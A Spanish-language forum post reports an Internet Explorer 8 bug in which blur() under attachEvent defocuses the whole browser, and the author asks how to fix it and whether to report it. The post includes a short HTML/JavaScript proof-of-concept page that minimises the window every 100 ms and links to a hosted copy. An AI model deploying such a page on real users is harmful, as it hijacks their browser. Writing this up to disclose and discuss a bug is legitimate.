No sé si alguien más descubrió este bug pero estaba tranquilamente programando una web de administración cuando para variar IE no admite una función: addEventListener, entonces busqúe la función de IE que es attachEvent.. hasta aquí todo bien, pero mi sorpresa fue cuando me di cuenta de que si pones la función blur, quita el foco al navegador y no al elemento pudiendo así minimizar el navegador cuando quieras, logrando no poder abrirlo, aquí hice un mini xploit para probar si de verdad era un BUG, y al menos en mi IE 8 el xploit funciona:
Lo único que hace es minimizar el navegador constantemente, no perjudica en nada más.
Nota: Solo funciona cuando es 1 ventana y no funciona en pestaña.
http://tod.servehttp.com/Mata_IE.html
Aquí el código:
Código
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
<title>Descarga Firefox, Opera, Google Chrome o Safari, tu IE ha muerto</title>
<script type="text/ ‫ ‫ ‫ ‫javascript">
<!--
function addOnLoad(n) {
var p = window.onload;
if (typeof window.onload != 'function')
window.onload = n;
else {
window.onload = function() {
p();
n();
}
}
}
function mfocus() {
var d = document.getElementsByTagName('a');
for(i=0; i<d.length; i++)
d[i].attachEvent('onfocus', function() { setInterval(function() { this.blur(); },100); }); // IE feo
return;
}
-->
</script>
</head>
<body>
<script type="text/ ‫ ‫ ‫ ‫javascript">
addOnLoad(mfocus);
addOnLoad(function() { document.getElementById("matar").focus(); });
</script>
<p><a id="matar" href="#">Matar a IE</a></p>
</body>
</html>
Yo supongo que este BUG alguien lo habrá descubierto, pero lo hayan o no descubierto me gustaría saber si hay alguna manera de arreglarlo (a parte de reportarlo a IE, que si nadie lo ha hecho pues lo haré).
A y también comentenme si funciona por favor, aunque dudo que sea solo de mi IE (pues tengo la última versión).
EDIT: Que conste que el xploit lo hice solo para comprobar que se pueden aprovechar del BUG si colocan como página de inicio, evitando que el navegador pueda hacer nada, lo puse exactamente para saber si es posible de evitar y si esto ya ha sido descubierto.
Saludos!










Autor


En línea






